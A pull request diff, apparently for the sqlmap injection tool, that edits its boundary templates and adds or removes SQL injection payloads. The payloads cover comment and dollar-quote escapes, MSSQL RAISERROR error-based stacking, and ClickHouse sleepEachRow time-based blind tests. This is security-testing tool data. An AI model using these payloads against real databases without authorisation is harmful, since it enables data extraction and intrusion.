Skip to content
Merged
Binary file added data/txt/catalog-identifiers.tx_
Binary file not shown.
13,792 changes: 0 additions & 13,792 deletions data/txt/catalog-identifiers.txt

This file was deleted.

111 changes: 59 additions & 52 deletions data/xml/boundaries.xml
Original file line number Diff line number Diff line change
Expand Up @@ -55,6 +55,8 @@ Tag: <boundary>
4: Double quoted string
5: LIKE double quoted string
6: Identifier (e.g. column name)
7: Block comment
8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]')

Sub-tag: <prefix>
A string to prepend to the payload.
Expand Down Expand Up @@ -342,14 +344,6 @@ Formats:
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>

<boundary>
<level>5</level>
<clause>9</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>

<boundary>
<level>4</level>
Expand Down Expand Up @@ -414,33 +408,6 @@ Formats:
<suffix>)+'</suffix>
</boundary>

<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||</suffix>
</boundary>

<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>2</ptype>
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)||</suffix>
</boundary>

<boundary>
<level>5</level>
<clause>9</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>)+</suffix>
</boundary>

<!-- End of pre-WHERE generic boundaries -->

<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
Expand All @@ -453,14 +420,6 @@ Formats:
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>

<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>

<boundary>
<level>5</level>
Expand Down Expand Up @@ -502,20 +461,24 @@ Formats:
<level>4</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<ptype>6</ptype>
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>

<!-- End of pre-WHERE derived table boundaries -->

<!-- Block-comment escape: injection point sits INSIDE /* ... */ (e.g. a query tag / trace / tenant
annotation). '*/' terminates the app comment, the test runs, '/*' re-opens a comment that the
app's original '*/' closes. Inert (stays inside the literal) when the value is not in a comment. -->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
<level>4</level>
<clause>1,2,3</clause>
<where>1,2</where>
<ptype>7</ptype>
<prefix>*/</prefix>
<suffix>/*</suffix>
</boundary>
<!-- End of pre-WHERE derived table boundaries -->

<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
<boundary>
Expand Down Expand Up @@ -550,7 +513,7 @@ Formats:
<level>5</level>
<clause>7</clause>
<where>1</where>
<ptype>3</ptype>
<ptype>6</ptype>
<prefix> [RANDSTR1],</prefix>
<suffix> [RANDSTR2]</suffix>
</boundary>
Expand All @@ -565,4 +528,48 @@ Formats:
<suffix>#</suffix>
</boundary>
<!-- End of AGAINST boolean full-text search boundaries -->

<!-- Alternative quoted string delimiters where ' and " have no terminating effect:
PostgreSQL $$...$$ dollar quoting, Oracle q'[...]' / q'{...}' / q'(...)' / q'<...>'. -->
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>$$</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>]'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>}'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>)'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>8</ptype>
<prefix>&gt;'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<!-- End of alternative quoted string boundaries -->
</root>
61 changes: 0 additions & 61 deletions data/xml/payloads/boolean_blind.xml
Original file line number Diff line number Diff line change
Expand Up @@ -1109,46 +1109,6 @@ Tag: <test>
</details>
</test>

<test>
<title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
<request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
</request>
<response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt; 5.0</dbms_version>
</details>
</test>

<test>
<title>MySQL &lt; 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
<request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
</request>
<response>
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt; 5.0</dbms_version>
</details>
</test>

<test>
<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
<stype>1</stype>
Expand Down Expand Up @@ -1445,27 +1405,6 @@ Tag: <test>
</details>
</test>

<test>
<title>MySQL &lt; 5.0 boolean-based blind - Stacked queries</title>
<stype>1</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
<request>
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
<comment>#</comment>
</request>
<response>
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt; 5.0</dbms_version>
</details>
</test>

<test>
<title>PostgreSQL boolean-based blind - Stacked queries</title>
<stype>1</stype>
Expand Down
22 changes: 21 additions & 1 deletion data/xml/payloads/error_based.xml
Original file line number Diff line number Diff line change
Expand Up @@ -996,7 +996,7 @@
<test>
<title>MySQL &gt;= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
<stype>2</stype>
<level>2</level>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
Expand Down Expand Up @@ -1589,6 +1589,26 @@
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->

<!-- Error-based tests - stacking -->
<test>
<title>Microsoft SQL Server error-based - Stacking (RAISERROR)</title>
<stype>2</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</vector>
<request>
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</payload>
<comment>--</comment>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
</details>
</test>

<test>
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
<stype>2</stype>
Expand Down
4 changes: 2 additions & 2 deletions data/xml/payloads/stacked_queries.xml
Original file line number Diff line number Diff line change
Expand Up @@ -207,7 +207,7 @@
<title>PostgreSQL &lt; 8.2 stacked queries (Glibc - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<risk>3</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
Expand All @@ -229,7 +229,7 @@
<title>PostgreSQL &lt; 8.2 stacked queries (Glibc)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<risk>3</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
Expand Down
38 changes: 38 additions & 0 deletions data/xml/payloads/time_blind.xml
Original file line number Diff line number Diff line change
Expand Up @@ -1494,6 +1494,44 @@
</details>
</test>

<test>
<title>ClickHouse AND time-based blind (sleepEachRow)</title>
<stype>5</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
<request>
<payload>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>ClickHouse</dbms>
</details>
</test>

<test>
<title>ClickHouse OR time-based blind (sleepEachRow)</title>
<stype>5</stype>
<level>5</level>
<risk>3</risk>
<clause>1,2,3</clause>
<where>2</where>
<vector>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
<request>
<payload>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>ClickHouse</dbms>
</details>
</test>

<test>
<title>ClickHouse AND time-based blind (heavy query)</title>
<stype>5</stype>
Expand Down
Loading